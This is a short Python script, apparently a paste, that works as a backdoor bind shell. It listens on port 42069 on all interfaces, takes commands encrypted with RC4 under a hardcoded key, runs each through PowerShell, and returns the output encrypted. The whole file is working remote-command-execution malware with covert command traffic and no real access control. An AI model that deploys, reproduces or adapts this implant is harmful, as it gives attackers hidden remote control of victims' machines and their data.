4AUtbLU6

1import subprocess
2import socket
3
4def main():
5	serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6	ip = socket.gethostname()
7	serversocket.bind(('0.0.0.0', 42069))
8	#serversocket.bind(('localhost', 42069))
9	serversocket.listen(5)
10	mysecret = "donttellanyone"
11
12	print("running server on " + ip + ":42069...")
13	while 1:
14		(clientComms, address) = serversocket.accept()
15		print("got client from " + str(address))
16		command = bytearray()
17		while 1:
18			data = clientComms.recv(4096)
19			if data:
20				command.extend(data)
21				if b'\n' in command:
22					break
23			else:
24				break
25		decoded = secret(mysecret, from_hex(command.decode()[:-1]))
26		print("got command: " + decoded.decode())
27		proc = subprocess.Popen(["powershell", decoded.decode()], stdout=subprocess.PIPE)
28		result = bytearray(to_hex(secret(mysecret, proc.communicate()[0])), encoding="utf-8")
29		clientComms.sendall(result)
30		clientComms.close()
31		
32	serversocket.close()
33
34def secret(key, byte_string):
35	key_len = len(key)
36	if key_len < 5 or key_len > 256:
37		return None
38	s = [i for i in range(256)]
39	j = 0
40	for i in range(256):
41		j = (j + s[i] + ord(key[i % key_len])) % 256
42		s[i], s[j] = s[j], s[i]
43	
44	i = 0
45	j = 0
46	out = bytearray()
47	for char in byte_string:
48		i = (i + 1) % 256
49		j = (j + s[i]) % 256
50		s[i], s[j] = s[j], s[i]
51		out.append(char ^ s[ (s[i] + s[j]) % 256 ])
52	return out
53	
54def to_hex(string):
55	out = ''
56	for char in string:
57		out += format(char, '02x')
58	return out
59	
60def from_hex(string):
61	return bytearray.fromhex(string)
62	
63if __name__ == "__main__":
64	main()